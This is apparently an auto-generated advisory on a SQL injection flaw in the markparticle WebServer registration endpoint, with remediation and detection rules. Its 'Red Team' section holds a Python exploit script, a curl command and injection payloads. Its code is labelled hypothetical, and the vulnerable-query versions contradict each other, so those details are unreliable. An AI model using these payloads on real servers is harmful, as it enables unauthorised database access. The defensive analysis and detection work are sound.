CVE-2025-3846

Executive Summary

CVE-2025-3846 is a critical SQL injection vulnerability discovered in the markparticle WebServer up to version 1.0. The flaw resides in the code/http/httprequest.cpp file within the Registration component. By manipulating the username or password arguments, an unauthenticated remote attacker can inject arbitrary SQL commands, potentially leading to full database compromise, data exfiltration, or further lateral movement. The exploit has been publicly disclosed, increasing the risk of active exploitation. No official patch is currently available.

Supply Chain & Package Security

This vulnerability affects a standalone C++ web server project (markparticle WebServer). It is not distributed via NPM, PyPI, Go, or Ruby registries. However, organizations using this server in their infrastructure should treat it as a critical supply chain risk due to the lack of patching.

CVSS Breakdown & Threat Level

While the official CVSS vector is unknown, based on the description (critical, remote, unauthenticated SQL injection), the likely vector is:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical – Remote, unauthenticated exploitation with high impact on confidentiality, integrity, and availability.

Deep Dive & Mechanics

The vulnerability exists in the registration endpoint of the markparticle WebServer. The httprequest.cpp file processes HTTP POST requests for user registration. The username and password parameters are directly concatenated into SQL queries without proper sanitization or parameterized statements.

Vulnerable Code Snippet (hypothetical reconstruction):

std::string query = "INSERT INTO users (username, password) VALUES ('" + username + "', '" + password + "')";
database.execute(query);

An attacker can inject SQL by providing input such as:

• username: admin' OR '1'='1
• password: anything

This would result in the query:

INSERT INTO users (username, password) VALUES ('admin' OR '1'='1', 'anything')

Depending on the database backend, this could bypass authentication, extract data, or execute arbitrary commands.

Vulnerable vs. Patched Code

Vulnerable Code (markparticle WebServer <= 1.0):

// httprequest.cpp
std::string username = request.getParam("username");
std::string password = request.getParam("password");
std::string sql = "SELECT * FROM users WHERE username='" + username + "' AND password='" + password + "'";

Patched Code (hypothetical fix):

// httprequest.cpp
std::string username = request.getParam("username");
std::string password = request.getParam("password");
std::string sql = "SELECT * FROM users WHERE username=? AND password=?";
database.prepare(sql).bind(1, username).bind(2, password).execute();

The fix uses parameterized queries (prepared statements) to prevent SQL injection. Since no official patch exists, users must implement this manually.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• markparticle WebServer running on a target (e.g., http://target:8080)
• Python 3 with requests library

Exploit Script:

import requests

target = "http://target:8080/register"
payload = {
    "username": "admin' OR '1'='1' -- ",
    "password": "anything"
}

response = requests.post(target, data=payload)
if "Welcome" in response.text:
    print("[+] SQL injection successful - logged in as admin")
else:
    print("[-] Exploit failed")

Manual Exploitation (using curl):

curl -X POST http://target:8080/register -d "username=admin' OR '1'='1' -- &password=test"

Blue Team (Defensive)

Detection Steps:

1. Monitor HTTP POST requests to /register for unusual characters (single quotes, SQL keywords).
2. Check database logs for unexpected queries.
3. Use WAF rules to block SQL injection patterns.

Honeypot Setup:

• Deploy a fake registration endpoint that logs all input and alerts on SQL patterns.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /register with parameters containing SQL keywords (OR, AND, UNION, SELECT, --, #)
• Unusual response sizes or error messages containing SQL syntax errors

File IOCs:

• Modified httprequest.cpp with parameterized queries (if patched)
• Suspicious entries in web server logs (e.g., admin' OR '1'='1)

Behavioral IOCs:

• Unexpected database queries from the web server process
• Unauthorized access to admin accounts

Detection Engineering

YARA Rule

rule CVE_2025_3846_SQLi_Request {
    meta:
        description = "Detects SQL injection attempts targeting markparticle WebServer registration"
        author = "Valters IT"
        date = "2025-04-01"
        cve = "CVE-2025-3846"
    strings:
        $sqli1 = /username=.*['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i
        $sqli2 = /password=.*['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i
    condition:
        any of them
}

Sigma Rule

title: SQL Injection Attempt Against markparticle WebServer Registration
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection patterns in HTTP POST requests to /register
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: markparticle
detection:
    selection:
        cs-method: POST
        cs-uri-stem: /register
    keywords:
        - "username=*' OR *"
        - "password=*' OR *"
        - "username=*' AND *"
        - "password=*' AND *"
        - "username=*' UNION *"
        - "password=*' UNION *"
        - "username=*' --"
        - "password=*' --"
    condition: selection and keywords
falsepositives:
    - Legitimate usernames containing apostrophes (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-3846 SQL Injection Attempt on markparticle WebServer"; flow:to_server; content:"POST"; http_method; content:"/register"; http_uri; pcre:"/(username|password)=.*['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the markparticle WebServer from untrusted networks.
2. Implement a Web Application Firewall (WAF) with rules to block SQL injection patterns.
3. Monitor logs for exploitation attempts.

Long-term Fix:

1. Patch the httprequest.cpp file to use parameterized queries (prepared statements).
2. Update to a patched version if released.
3. Conduct a full security audit of the codebase.

Workaround:

• Disable the registration endpoint if not required.
• Use input validation to reject special characters in username/password fields.

Report generated by Valters IT DevSecOps & CTI Framework
Signature: Valters IT